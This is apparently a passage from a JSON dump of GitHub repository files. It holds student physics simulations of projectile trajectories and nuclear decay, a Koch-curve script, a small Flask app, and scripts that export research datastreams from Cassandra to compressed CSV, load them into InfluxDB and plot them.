vx_dt=vxi-B*v*vxi*dt\\n vy_dt=vyi-B*v*vyi*dt-g*dt#g*(6371/(6371+y[i]/1000))**2考虑g的影响时\\n x_dt=x[i]+vxi*dt\\n y_dt=y[i]+vyi*dt\\n if y_dt<0:\\n r=-y[-1]/y_dt\\n x_dt=(x[-1]+r*x_dt)/(r+1)\\n y_dt=0\\n range=x_dt\\n x.append(x_dt)\\n y.append(y_dt)\\n velocity_x.append(vx_dt)\\n velocity_y.append(vy_dt)\\n i=i+1\\n return x,y,range\\n\\nalpha=[]\\nRange=[]\\nplt.xlabel('x/m')\\nplt.ylabel('y/m')\\nplt.title('The trajectory of a cannon shell')\\nfor i in range(10):\\n angle=i*math.pi/20\\n t=Trajectory(700,angle,300)\\n plt.plot(t[0],t[1])\\n #alpha.append(angle)\\n #Range.append(t[2]) #to get the maximum range\\nplt.xlim(0,30000)\\n#plt.plot(np.array(alpha),np.array(Range),'o')\\nplt.show()\\n#R=max(Range)\\n#l=Range.index(R)\\n#A=alpha[l]/math.pi*180\\n#print(A,R)\\n\"\n },\n {\n \"alpha_fraction\": 0.5411816239356995,\n \"alphanum_fraction\": 0.6026795506477356,\n \"avg_line_length\": 83.31481170654297,\n \"blob_id\": \"27d804de340e17a390dc5a1b96782c3320a4cee1\",\n \"content_id\": \"2bed47fdcebd15cc50d42a714b305327754893b7\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Markdown\",\n \"length_bytes\": 4747,\n \"license_type\": \"no_license\",\n \"max_line_length\": 412,\n \"num_lines\": 54,\n \"path\": \"/ch1-1.4.md\",\n \"repo_name\": \"jxw666/computationalphysics_N2015301020090\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"> Written with [StackEdit](https://stackedit.io/).\\n\\n\\n\\n\\n# Chapter_one_problem1.4\\n------------------------------------------\\n\\n\\n## Problem1.4（链式反应）\\n\\n--------------------\\nA and B are two type of nucleus. Suppose that A decay and form B,which then also decay.Use Euler method to solve the coupled equations\\n<a href=\\\"http://www.codecogs.com/eqnedit.php?latex=$$&space;\\\\frac{dN_A}{dt}=-\\\\frac{N_A}{\\\\tau_A}$$\\\" target=\\\"_blank\\\"><img src=\\\"http://latex.codecogs.com/gif.latex?$$&space;\\\\frac{dN_A}{dt}=-\\\\frac{N_A}{\\\\tau_A}$$\\\" title=\\\"$$ \\\\frac{dN_A}{dt}=-\\\\frac{N_A}{\\\\tau_A}$$\\\" /></a>\\n\\n<a href=\\\"http://www.codecogs.com/eqnedit.php?latex=$$\\\\frac{dN_B}{dt}=\\\\frac{N_A}{\\\\tau_A}-\\\\frac{N_B}{\\\\tau_B}$$\\\" target=\\\"_blank\\\"><img src=\\\"http://latex.codecogs.com/gif.latex?$$\\\\frac{dN_B}{dt}=\\\\frac{N_A}{\\\\tau_A}-\\\\frac{N_B}{\\\\tau_B}$$\\\" title=\\\"$$\\\\frac{dN_B}{dt}=\\\\frac{N_A}{\\\\tau_A}-\\\\frac{N_B}{\\\\tau_B}$$\\\" /></a>\\n\\nN<sub>A</sub>(t) and N<sub>B</sub>(t) are the populations.\\n<a href=\\\"http://www.codecogs.com/eqnedit.php?latex=$\\\\tau_A$\\\" target=\\\"_blank\\\"><img src=\\\"http://latex.codecogs.com/gif.latex?$\\\\tau_A$\\\" title=\\\"$\\\\tau_A$\\\" /></a>and<a href=\\\"http://www.codecogs.com/eqnedit.php?latex=$\\\\tau_B$\\\" target=\\\"_blank\\\"><img src=\\\"http://latex.codecogs.com/gif.latex?$\\\\tau_B$\\\" title=\\\"$\\\\tau_B$\\\" /></a>are the decay time constant.\\nCompare numerical results to analytic solutions.\\nExplore the behavior according to different values of the ratio$\\\\frac{\\\\tau_A}{\\\\tau_B}$.In particular, try to interpret the short and long time behaviors for different values of this ratio.\\n## 计算方法\\n-------------------------\\n\\n输入各个常数，利用loop把利用Euler方法算出的值计入A,B list中，用matplotlib画图比较。 \\n[code](https://github.com/jxw666/computationalphysics_N2015301020090/blob/master/Ch1_1.4.py)\\n\\n## 结果分析\\n------------------------------\\n解析解为\\n<a href=\\\"http://www.codecogs.com/eqnedit.php?latex=$$N_A=N_{A0}e^-\\\\frac{t}{\\\\tau_A}$$\\\" target=\\\"_blank\\\"><img src=\\\"http://latex.codecogs.com/gif.latex?$$N_A=N_{A0}e^-\\\\frac{t}{\\\\tau_A}$$\\\" title=\\\"$$N_A=N_{A0}e^-\\\\frac{t}{\\\\tau_A}$$\\\" /></a>\\n\\n<a href=\\\"http://www.codecogs.com/eqnedit.php?latex=$$N_B=N_{A0}\\\\frac{\\\\tau_B}{\\\\tau_A-\\\\tau_B}(e^-\\\\frac{t}{\\\\tau_A}-e^-\\\\frac{t}{\\\\tau_B})+N_{B0}$$\\\" target=\\\"_blank\\\"><img src=\\\"http://latex.codecogs.com/gif.latex?$$N_B=N_{A0}\\\\frac{\\\\tau_B}{\\\\tau_A-\\\\tau_B}(e^-\\\\frac{t}{\\\\tau_A}-e^-\\\\frac{t}{\\\\tau_B})+N_{B0}$$\\\" title=\\\"$$N_B=N_{A0}\\\\frac{\\\\tau_B}{\\\\tau_A-\\\\tau_B}(e^-\\\\frac{t}{\\\\tau_A}-e^-\\\\frac{t}{\\\\tau_B})+N_{B0}$$\\\" /></a>\\n\\n------------------------------------------------\\n<a href=\\\"http://www.codecogs.com/eqnedit.php?latex=T=100,dt=1,$N_{A0}=20$,$N_{B0}=0$:\\\" target=\\\"_blank\\\"><img src=\\\"http://latex.codecogs.com/gif.latex?T=100,dt=1,$N_{A0}=20$,$N_{B0}=0$:\\\" title=\\\"T=100,dt=1,$N_{A0}=20$,$N_{B0}=0$:\\\" /></a>\\n\\n\\n\\n<a href=\\\"http://www.codecogs.com/eqnedit.php?latex=T=100,dt=0.1,$N_{A0}=20$,$N_{B0}=0$:\\\" target=\\\"_blank\\\"><img src=\\\"http://latex.codecogs.com/gif.latex?T=100,dt=0.1,$N_{A0}=20$,$N_{B0}=0$:\\\" title=\\\"T=100,dt=0.1,$N_{A0}=20$,$N_{B0}=0$:\\\" />\\n</a>\\n\\n\\n结论1:dt适当变小数值解与解析解更接近\\n-------------------------------------------\\n<a href=\\\"http://www.codecogs.com/eqnedit.php?latex=T=10000,dt=0.1,$N_{A0}=10$,$N_{B0}=10$,$\\\\tau_A=1000$,$\\\\tau_B=1$($\\\\tau_A$/$\\\\tau_B$>>1):\\\" target=\\\"_blank\\\"><img src=\\\"http://latex.codecogs.com/gif.latex?T=10000,dt=0.1,$N_{A0}=10$,$N_{B0}=10$,$\\\\tau_A=1000$,$\\\\tau_B=1$($\\\\tau_A$/$\\\\tau_B$>>1):\\\" title=\\\"T=10000,dt=0.1,$N_{A0}=10$,$N_{B0}=10$,$\\\\tau_A=1000$,$\\\\tau_B=1$($\\\\tau_A$/$\\\\tau_B$>>1):\\\" /></a>\\n\\n\\n<a href=\\\"http://www.codecogs.com/eqnedit.php?latex=T=10000,dt=0.1,$N_{A0}=10$,$N_{B0}=0$,$\\\\tau_A=1000$,$\\\\tau_B=1$($\\\\tau_A$/$\\\\tau_B$>>1):\\\" target=\\\"_blank\\\"><img src=\\\"http://latex.codecogs.com/gif.latex?T=10000,dt=0.1,$N_{A0}=10$,$N_{B0}=0$,$\\\\tau_A=1000$,$\\\\tau_B=1$($\\\\tau_A$/$\\\\tau_B$>>1):\\\" title=\\\"T=10000,dt=0.1,$N_{A0}=10$,$N_{B0}=0$,$\\\\tau_A=1000$,$\\\\tau_B=1$($\\\\tau_A$/$\\\\tau_B$>>1):\\\" /></a>\\n\\n\\n结论2:\\n<a href=\\\"http://www.codecogs.com/eqnedit.php?latex=$\\\\tau_A$/$\\\\tau_B$>>1\\\" target=\\\"_blank\\\"><img src=\\\"http://latex.codecogs.com/gif.latex?$\\\\tau_A$/$\\\\tau_B$>>1\\\" title=\\\"$\\\\tau_A$/$\\\\tau_B$>>1\\\" /></a>时，B先增多后减少，随时间增大\\n<a href=\\\"http://www.codecogs.com/eqnedit.php?latex=$\\\\tau_A$/$\\\\tau_B$<<1\\\" target=\\\"_blank\\\"><img src=\\\"http://latex.codecogs.com/gif.latex?$\\\\tau_A$/$\\\\tau_B$<<1\\\" title=\\\"$\\\\tau_A$/$\\\\tau_B$<<1\\\" /></a>时，A迅速减少，B迅速增加再逐渐衰变减少\\n\"\n },\n {\n \"alpha_fraction\": 0.46236559748649597,\n \"alphanum_fraction\": 0.5199692845344543,\n \"avg_line_length\": 23.129629135131836,\n \"blob_id\": \"de6587e24e614a9e277ca95f33a03eadff2d1ad4\",\n \"content_id\": \"dd5fea44733c8d76dbcd61fd066b1d28f31785d9\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 1302,\n \"license_type\": \"no_license\",\n \"max_line_length\": 115,\n \"num_lines\": 54,\n \"path\": \"/ch3.py\",\n \"repo_name\": \"jxw666/computationalphysics_N2015301020090\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import matplotlib.pyplot as plt\\nimport math\\ng=9.8\\ndef Trajectory(v,w,theta):\\n velocity_x=[v]\\n velocity_y=[0]\\n velocity_z=[0]\\n dt=0.01\\n x=[0]\\n y=[10]\\n z=[0] \\n i=0\\n y_dt=1\\n while y_dt>0 :\\n theta=theta+w*dt\\n F_lateral=0.5*g*(math.sin(4*theta)-0.25*math.sin(8*theta)+0.08*math.sin(12*theta)-0.025*math.sin(16*theta))\\n vxi=velocity_x[i]\\n vyi=velocity_y[i]\\n vzi=velocity_z[i] \\n v=math.sqrt(vxi**2+vyi**2+vzi**2)\\n B=0.0039+0.0058/(1+math.exp((v-35)/5))\\n vx_dt=vxi-B*v*vxi*dt+F_lateral*math.sin(theta)\\n vy_dt=vyi-B*v*vyi*dt-g*dt\\n vz_dt=vzi-B*v*vzi*dt+F_lateral*math.cos(theta)-4.1*10**(-4)*vxi*w\\n x_dt=x[i]+vxi*dt\\n y_dt=y[i]+vyi*dt\\n z_dt=z[i]+vzi*dt\\n if y_dt<0:\\n r=-y[-1]/y_dt\\n x_dt=(x[-1]+r*x_dt)/(r+1)\\n y_dt=0\\n range=x_dt\\n x.append(x_dt)\\n y.append(y_dt)\\n z.append(z_dt)\\n velocity_x.append(vx_dt)\\n velocity_y.append(vy_dt)\\n velocity_z.append(vz_dt)\\n i=i+1\\n return x,y,z,range\\n\\n\\n\\n\\n\\nplt.xlabel('x/m')\\nplt.ylabel('y/m')\\nfor i in range(11):\\n t=Trajectory(5*i,math.pi/3,math.pi/2)\\n plt.plot(t[0],t[1],label=5*i)\\n#plt.xlim(0,180)\\nplt.title('x-y,v=50m/s,w=pi/3')\\nplt.legend()\\nplt.show()\"\n },\n {\n \"alpha_fraction\": 0.5163853168487549,\n \"alphanum_fraction\": 0.7090367674827576,\n \"avg_line_length\": 34.96428680419922,\n \"blob_id\": \"b450b411087795962a088f0412dd85f70dbb2ddd\",\n \"content_id\": \"2d399099d7d8ef5f27efa1465414b57070245459\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Markdown\",\n \"length_bytes\": 1047,\n \"license_type\": \"no_license\",\n \"max_line_length\": 118,\n \"num_lines\": 28,\n \"path\": \"/a simple one.md\",\n \"repo_name\": \"jxw666/computationalphysics_N2015301020090\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"Different levels of Koch curve can be obtained by this code\\n```import turtle as t\\ndef koch(level, size):\\n if level == 0:\\n t.forward(size)\\n return\\n else:\\n for angle in [60, -120, 60, 0]:\\n koch(level-1, size/3)\\n t.left(angle)\\n\\nt.hideturtle()\\nt.up()\\nt.setx(-t.window_width()/2)\\nt.down()\\nt.speed(0)\\n\\nkoch(5,t.window_width())\\n\\nt.exitonclick() \\n```\\n\\nset level= 1,2,3,4,5\\n\\n\\n\\n\\n\\n\"\n }\n]","isConversational":false},"num_files":{"kind":"number","value":33,"string":"33"}}},{"rowIdx":2978354,"cells":{"repo_name":{"kind":"string","value":"NeilZP/Flask-UI5"},"repo_url":{"kind":"string","value":"https://github.com/NeilZP/Flask-UI5"},"snapshot_id":{"kind":"string","value":"ca9e078bc32824e0ef0b21dae2f70ea50e3a72fc"},"revision_id":{"kind":"string","value":"dfced03405c93ae09316a3b60d078f7d0802510d"},"directory_id":{"kind":"string","value":"9f21da73265e0aa6063e0156c34c03dddf155028"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2021-01-22T07:27:38.729411","string":"2021-01-22T07:27:38.729411"},"revision_date":{"kind":"timestamp","value":"2017-02-13T15:25:52","string":"2017-02-13T15:25:52"},"committer_date":{"kind":"timestamp","value":"2017-02-13T15:25:52","string":"2017-02-13T15:25:52"},"github_id":{"kind":"number","value":81823897,"string":"81,823,897"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_language":{"kind":"null"},"files":{"kind":"list like","value":[{"alpha_fraction":0.5476550459861755,"alphanum_fraction":0.5673222541809082,"avg_line_length":28.909090042114258,"blob_id":"ba5e0467d24c0a18d9e0698db765022408bf49ea","content_id":"6c9de936cb99f19d049dbe4c4e4992c48e356b14","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":661,"license_type":"no_license","max_line_length":56,"num_lines":22,"path":"/hello-flask.py","repo_name":"NeilZP/Flask-UI5","src_encoding":"UTF-8","text":"from flask import Flask,render_template,jsonify\napp= Flask(__name__)\n# @app.route('/')\n@app.route('/hello/') \n@app.route('/hello/<name>') \ndef hello(name=None):\n\t# Test1 Begin\n # response = \"<html>\\n\"\n # response += \"<title>Flask Test</title>\\n\"\n # response += \"<body>\\n\"\n # response += \"<h2>Hello World\\n</h2>\"\n # response += \"</body>\\n\"\n # response += \"</html>\\n\"\n # return response\n # Test1 End\n # return render_template(\"hello.html\") #Test 2\n if name == None: \n name = \"Neilzp_20170213\" \n templateDate = {'name' : name}; \n return render_template(\"hello.html\", **templateDate)\n\nif __name__ == '__main__': \n\n"}],"string":"[\n {\n \"alpha_fraction\": 0.5476550459861755,\n \"alphanum_fraction\": 0.5673222541809082,\n \"avg_line_length\": 28.909090042114258,\n \"blob_id\": \"ba5e0467d24c0a18d9e0698db765022408bf49ea\",\n \"content_id\": \"6c9de936cb99f19d049dbe4c4e4992c48e356b14\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 661,\n \"license_type\": \"no_license\",\n \"max_line_length\": 56,\n \"num_lines\": 22,\n \"path\": \"/hello-flask.py\",\n \"repo_name\": \"NeilZP/Flask-UI5\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"from flask import Flask,render_template,jsonify\\napp= Flask(__name__)\\n# @app.route('/')\\n@app.route('/hello/') \\n@app.route('/hello/<name>') \\ndef hello(name=None):\\n\\t# Test1 Begin\\n # response = \\\"<html>\\\\n\\\"\\n # response += \\\"<title>Flask Test</title>\\\\n\\\"\\n # response += \\\"<body>\\\\n\\\"\\n # response += \\\"<h2>Hello World\\\\n</h2>\\\"\\n # response += \\\"</body>\\\\n\\\"\\n # response += \\\"</html>\\\\n\\\"\\n # return response\\n # Test1 End\\n # return render_template(\\\"hello.html\\\") #Test 2\\n if name == None: \\n name = \\\"Neilzp_20170213\\\" \\n templateDate = {'name' : name}; \\n return render_template(\\\"hello.html\\\", **templateDate)\\n\\nif __name__ == '__main__': \\n\\n\"\n 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like","value":[{"alpha_fraction":0.6608761548995972,"alphanum_fraction":0.6674848794937134,"avg_line_length":32.9487190246582,"blob_id":"c7c27da46fde35a7fa6e549386b7c0350935cd68","content_id":"e6e6b4d754aa4463465219469fcf85e506b34c96","detected_licenses":["BSD-2-Clause"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":5296,"license_type":"permissive","max_line_length":225,"num_lines":156,"path":"/python/cluster/participantDataDump.py","repo_name":"MD2Korg/Cerebral-Cortex-Data-Analysis-Tools","src_encoding":"UTF-8","text":"import argparse\nimport bz2\nimport csv\nimport datetime\nimport json\nimport multiprocessing\nimport os\n\nimport psycopg2\nfrom cassandra.cluster import Cluster\nfrom joblib import Parallel, delayed\n\nparser = argparse.ArgumentParser(description='Export datastreams from the Cerebral Cortex Cassandra store.')\n\nparser.add_argument('--server', help='Cassandra server to connect with', required=True)\nparser.add_argument('--keyspace', help='Cassandra keyspace', required=True)\nparser.add_argument('--path', help='Base filesystem path', required=True)\nparser.add_argument('--participant', help='Participant UUID', required=True)\nparser.add_argument('--startday', help='Day string representing the first day to begin scanning for data',\n required=True)\nparser.add_argument('--endday', help='Day string representing the day to end scanning for data', required=True)\n\nargs = parser.parse_args()\n\n# Setup Variables\nfilepath = args.path\n\nstartday = args.startday\nendday = args.endday\n\nstartyear = int(startday[:4])\nstartmonth = int(startday[4:6])\nstartday = int(startday[6:])\n\nendyear = int(endday[:4])\nendmonth = int(endday[4:6])\nendday = int(endday[6:])\n\nstartdate = datetime.date(startyear, startmonth, startday)\nenddate = datetime.date(endyear, endmonth, endday)\n\nepoch = datetime.datetime.utcfromtimestamp(0)\n\n\ndef getDatastreamIDs(identifier):\n conn = psycopg2.connect(\"dbname=\" + args.keyspace + \" user=cerebralcortex\")\n cur = conn.cursor()\n\n searchStmt = 'select datastreams.id, datastreams.participant_id, datasources.identifier, datasources.datasourcetype, m_cerebrum_applications.identifier, m_cerebrum_platforms.identifier, m_cerebrum_platforms.platformtype '\n searchStmt += 'from datastreams inner join datasources on datasources.id=datastreams.datasource_id '\n searchStmt += 'inner join m_cerebrum_applications on m_cerebrum_applications.id=datasources.m_cerebrum_application_id '\n searchStmt += 'inner join m_cerebrum_platforms on m_cerebrum_platforms.id=datasources.m_cerebrum_platform_id '\n searchStmt += 'where datastreams.participant_id=\\'' + args.participant + '\\''\n\n datastreams = []\n cur.execute(searchStmt)\n results = cur.fetchall()\n for i in results:\n datastreams.append(i)\n\n cur.close()\n conn.close()\n\n return datastreams\n\n\ndef daterange(start_date, end_date):\n for n in range(int((end_date - start_date).days)):\n yield start_date + datetime.timedelta(n)\n\n\ndef flatten(structure, key=\"\", path=\"\", flattened=None):\n if flattened is None:\n flattened = {}\n if type(structure) not in (dict, list):\n flattened[((path + \"_\") if path else \"\") + key] = structure\n elif isinstance(structure, list):\n for i, item in enumerate(structure):\n flatten(item, \"%d\" % i, \"_\".join(filter(None, [path, key])), flattened)\n else:\n for new_key, value in structure.items():\n flatten(value, new_key, \"_\".join(filter(None, [path, key])), flattened)\n return flattened\n\n\ndef unix_time_millis(dt):\n return (dt - epoch).total_seconds() * 1000.0\n\n\ndef rowProcessor(r):\n row = []\n row.append(int(unix_time_millis(r.datetime)))\n # row.append(r.datetime)\n row.append(r.offset)\n\n json_parsed = json.loads(r.sample)\n for j in json_parsed:\n val = ''\n if type(j) is dict:\n val = json.dumps(j).encode('utf8')\n else:\n val = j\n row.append(val)\n\n return row\n\n\ndef extractDataStream(datastream):\n segment_char = '+'\n\n dsid = str(datastream[0])\n participantid = str(datastream[1])\n datasource_id = str(datastream[2])\n datasource_type = str(datastream[3])\n app_id = str(datastream[4])\n platform_id = str(datastream[5])\n platform_type = str(datastream[6])\n\n cluster = Cluster([args.server])\n\n session = cluster.connect(args.keyspace)\n\n if not os.path.exists(filepath + '/' + participantid):\n os.mkdir(filepath + '/' + participantid)\n\n filename_base = filepath + '/' + participantid + '/' + participantid + segment_char + dsid + segment_char + app_id + segment_char + datasource_type\n if datastream[2] is not None:\n filename_base += segment_char + datasource_id\n if datastream[6] is not None:\n filename_base += segment_char + platform_type\n if datastream[5] is not None:\n filename_base += segment_char + platform_id\n\n with bz2.BZ2File(filename_base + '.csv.bz2', 'w') as csvfile:\n outputwriter = csv.writer(csvfile, delimiter=',', quotechar=\"'\")\n for day in daterange(startdate, enddate):\n yyyymmdd = day.strftime('%Y%m%d')\n\n stmt = 'SELECT datetime, offset, sample FROM rawdata where datastream_id=' + dsid + ' and day=\\'' + yyyymmdd + '\\''\n rows = session.execute(stmt, timeout=180.0)\n flag = False\n for r in rows:\n flag = True\n outputwriter.writerow(rowProcessor(r))\n\n if flag:\n print('COMPLETED: ' + stmt)\n\n return True\n\n\nif __name__ == \"__main__\":\n num_cores = multiprocessing.cpu_count()\n datastreams = getDatastreamIDs(args.participant)\n results = Parallel(n_jobs=num_cores)(delayed(extractDataStream)(i) for i in datastreams)\n print(\"Complete: \" + str(len(results)) + \" datastreams exported\")\n"},{"alpha_fraction":0.7827585935592651,"alphanum_fraction":0.7965517044067383,"avg_line_length":47.5,"blob_id":"e16ce72ef92f72a68a342b672c7325e751603068","content_id":"e6fa14b6a3ca73ec3c65782b7f0b7acc2c420169","detected_licenses":["BSD-2-Clause"],"is_generated":false,"is_vendor":false,"language":"Markdown","length_bytes":290,"license_type":"permissive","max_line_length":120,"num_lines":6,"path":"/python/README.md","repo_name":"MD2Korg/Cerebral-Cortex-Data-Analysis-Tools","src_encoding":"UTF-8","text":"# Python Tools\n\n1. **temporalplot.py**: Renders export from the participantDataDump tool based on participant UUID and an optional time \nrange\n1. **participantDataDump.py**: Responsible for extracting all datastreams from Cerebral Cortex(0.1.x) and saving them \nas bzip compressed CSV files"},{"alpha_fraction":0.5162271857261658,"alphanum_fraction":0.5309330821037292,"avg_line_length":30.30158805847168,"blob_id":"a4ff13ac63c4a825a04643648518edff95641988","content_id":"e4496fc3cce6ef55f1b235df14ffa4351e3e212e","detected_licenses":["BSD-2-Clause"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":1972,"license_type":"permissive","max_line_length":97,"num_lines":63,"path":"/python/influx-insert.py","repo_name":"MD2Korg/Cerebral-Cortex-Data-Analysis-Tools","src_encoding":"UTF-8","text":"from influxdb import InfluxDBClient\nimport glob\nimport os\nimport bz2\nfrom pprint import pprint\nimport multiprocessing\nfrom joblib import Parallel, delayed\nimport sys\n\ndb = 'rice'\n\ndef parseFile(f):\n client = InfluxDBClient('localhost', 8086, '', '', db)\n client.create_database(db)\n data = []\n basename = os.path.basename(f)[:-8]\n uuid, ds_id, app, identifier = basename.split('+', 3)\n print(uuid, app)\n print(identifier)\n try:\n with bz2.open(f, 'rt') as input_file:\n for l in input_file:\n ts, offset, values = l.rstrip().split(',', 2)\n ts = int(ts)*1000000\n\n data_values = values.split(',')\n object = {}\n object['measurement'] = identifier\n object['tags'] = {'owner': uuid, 'application': app}\n object['time'] = ts\n try:\n sample = map(float,data_values)\n object['fields'] = {}\n for i, s in enumerate(sample):\n object['fields']['value_'+str(i)] = s\n except :\n object['fields'] = {'value': values}\n\n data.append(object)\n if len(data) >= 1000000:\n print('Yielding:', uuid, len(data), identifier)\n client.write_points(data)\n data = []\n\n\n except ValueError as e:\n print(\"Value Error: \", e, basename)\n client.write_points(data)\n return True\n\n\nif __name__=='__main__':\n num_cores = multiprocessing.cpu_count()\n files = glob.glob(db + '/' + sys.argv[1] + '*/*.bz2')\n\n\n sizes = [ (filename, os.stat(filename).st_size) for filename in files ]\n sizes.sort(key=lambda tup: tup[1])\n\n #for f in files:\n # parseFile(f)\n results = Parallel(n_jobs=num_cores-4, verbose=11)(delayed(parseFile)(f) for f,size in sizes)\n print(\"Complete: \" + str(len(results)) + \" datastreams exported\")\n"},{"alpha_fraction":0.5716360211372375,"alphanum_fraction":0.5902710556983948,"avg_line_length":34.93043518066406,"blob_id":"123179e83b54badf375d1bd16c706494d2bff73c","content_id":"6e37e3bfde1cb2afc3931d550fd6987bae45ecc0","detected_licenses":["BSD-2-Clause"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":4132,"license_type":"permissive","max_line_length":120,"num_lines":115,"path":"/python/temporalplot.py","repo_name":"MD2Korg/Cerebral-Cortex-Data-Analysis-Tools","src_encoding":"UTF-8","text":"import argparse as argparse\nimport bz2\nimport datetime\nimport glob\nfrom pprint import pprint\n\nimport matplotlib.collections as col\nimport matplotlib.dates as dates\nimport matplotlib.pyplot as plt\nimport numpy as np\n\n\ndef process_data(data):\n x = np.array(data)\n delta = np.diff(x)\n i = np.where(delta > 300 * 1000)\n return np.vstack((x[i], x[i] + delta[i])).T\n\n\ndef process(participant, directory, filter_string='', start_day=None, end_day=None):\n offset = 0\n lines = []\n gst = 1e100\n get = 0\n labels = []\n for f in glob.glob(directory + '/' + participant + filter_string + '.bz2'):\n print(f)\n params = f[:-16].split('+')[3:]\n labels.append('__'.join(params))\n offset += 1\n with bz2.open(f, 'rt') as csvFile:\n data = []\n for l in csvFile.readlines():\n items = l.split(',')\n ts = int(items[0])\n if start_day is not None and end_day is not None:\n if ts < start_day or end_day < ts:\n continue\n\n data.append(ts)\n\n if ts < gst:\n gst = ts\n if ts > get:\n get = ts\n\n blocks = process_data(data)\n if len(blocks) > 0:\n pprint(blocks)\n for segment in blocks:\n lines.append([(dates.date2num(datetime.datetime.utcfromtimestamp(segment[0] / 1000.0)), offset),\n (\n dates.date2num(datetime.datetime.utcfromtimestamp(segment[1] / 1000.0)), offset)])\n\n return lines, offset, labels, gst, get\n\n\ndef render(lines, offset, labels, st, et):\n lc = col.LineCollection(lines)\n fig, ax = plt.subplots()\n ax.add_collection(lc)\n ax.xaxis.set_major_locator(dates.DayLocator())\n ax.xaxis.set_major_formatter(dates.DateFormatter('%D'))\n ax.xaxis.set_minor_locator(dates.HourLocator(np.arange(6, 25, 6)))\n ax.xaxis.set_minor_formatter(dates.DateFormatter('%H'))\n\n fig.subplots_adjust(left=.25, right=.99, top=.99)\n\n plt.xlim([dates.date2num(datetime.datetime.utcfromtimestamp(st / 1000.0)),\n dates.date2num(datetime.datetime.utcfromtimestamp(et / 1000.0))])\n plt.ylim([0, offset + 1])\n plt.yticks(range(1, offset + 1), labels)\n plt.xticks(rotation=90)\n\n plt.show()\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(description='Export processor for Cerebral Cortex Data Dumps')\n\n parser.add_argument('--data_directory', help='Data Directory', required=True)\n parser.add_argument('--participant', help='Participant UUID', required=True)\n parser.add_argument('--filter', help='Filter String', default='*', required=False)\n parser.add_argument('--start_day', help='Day string representing the first day to begin scanning for data',\n required=False)\n parser.add_argument('--end_day', help='Day string representing the day to end scanning for data', required=False)\n\n args = parser.parse_args()\n\n participant = args.participant\n data_dir = args.data_directory\n filter = args.filter\n\n if args.start_day and args.end_day:\n print('HERE')\n start_day = args.start_day\n end_day = args.end_day\n\n start_year = int(start_day[:4])\n start_month = int(start_day[4:6])\n start_day = int(start_day[6:])\n\n end_year = int(end_day[:4])\n end_month = int(end_day[4:6])\n end_day = int(end_day[6:])\n\n epoch = datetime.datetime.utcfromtimestamp(0)\n start_date = int((datetime.datetime(start_year, start_month, start_day) - epoch).total_seconds() * 1e3)\n end_date = int((datetime.datetime(end_year, end_month, end_day) - epoch).total_seconds() * 1e3)\n\n lines, offset, labels, gst, get = process(participant, data_dir, filter_string=filter, start_day=start_date,\n end_day=end_date)\n else:\n lines, offset, labels, gst, get = process(participant, data_dir, filter_string=filter)\n render(lines, offset, labels, gst, get)\n"},{"alpha_fraction":0.6363636255264282,"alphanum_fraction":0.7818182110786438,"avg_line_length":13,"blob_id":"4dff1cf6499360793287e0da826ce1e69035d094","content_id":"b3891aa012292cd3c04c79fef5f8dea0e83ffddf","detected_licenses":["BSD-2-Clause"],"is_generated":false,"is_vendor":false,"language":"Text","length_bytes":55,"license_type":"permissive","max_line_length":23,"num_lines":4,"path":"/python/cluster/requirements.txt","repo_name":"MD2Korg/Cerebral-Cortex-Data-Analysis-Tools","src_encoding":"UTF-8","text":"cassandra-driver==3.2.1\njoblib\npathlib2\npsycopg2==2.6.2"}],"string":"[\n {\n \"alpha_fraction\": 0.6608761548995972,\n \"alphanum_fraction\": 0.6674848794937134,\n \"avg_line_length\": 32.9487190246582,\n \"blob_id\": \"c7c27da46fde35a7fa6e549386b7c0350935cd68\",\n \"content_id\": \"e6e6b4d754aa4463465219469fcf85e506b34c96\",\n \"detected_licenses\": [\n \"BSD-2-Clause\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 5296,\n \"license_type\": \"permissive\",\n \"max_line_length\": 225,\n \"num_lines\": 156,\n \"path\": \"/python/cluster/participantDataDump.py\",\n \"repo_name\": \"MD2Korg/Cerebral-Cortex-Data-Analysis-Tools\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import argparse\\nimport bz2\\nimport csv\\nimport datetime\\nimport json\\nimport multiprocessing\\nimport os\\n\\nimport psycopg2\\nfrom cassandra.cluster import Cluster\\nfrom joblib import Parallel, delayed\\n\\nparser = argparse.ArgumentParser(description='Export datastreams from the Cerebral Cortex Cassandra store.')\\n\\nparser.add_argument('--server', help='Cassandra server to connect with', required=True)\\nparser.add_argument('--keyspace', help='Cassandra keyspace', required=True)\\nparser.add_argument('--path', help='Base filesystem path', required=True)\\nparser.add_argument('--participant', help='Participant UUID', required=True)\\nparser.add_argument('--startday', help='Day string representing the first day to begin scanning for data',\\n required=True)\\nparser.add_argument('--endday', help='Day string representing the day to end scanning for data', required=True)\\n\\nargs = parser.parse_args()\\n\\n# Setup Variables\\nfilepath = args.path\\n\\nstartday = args.startday\\nendday = args.endday\\n\\nstartyear = int(startday[:4])\\nstartmonth = int(startday[4:6])\\nstartday = int(startday[6:])\\n\\nendyear = int(endday[:4])\\nendmonth = int(endday[4:6])\\nendday = int(endday[6:])\\n\\nstartdate = datetime.date(startyear, startmonth, startday)\\nenddate = datetime.date(endyear, endmonth, endday)\\n\\nepoch = 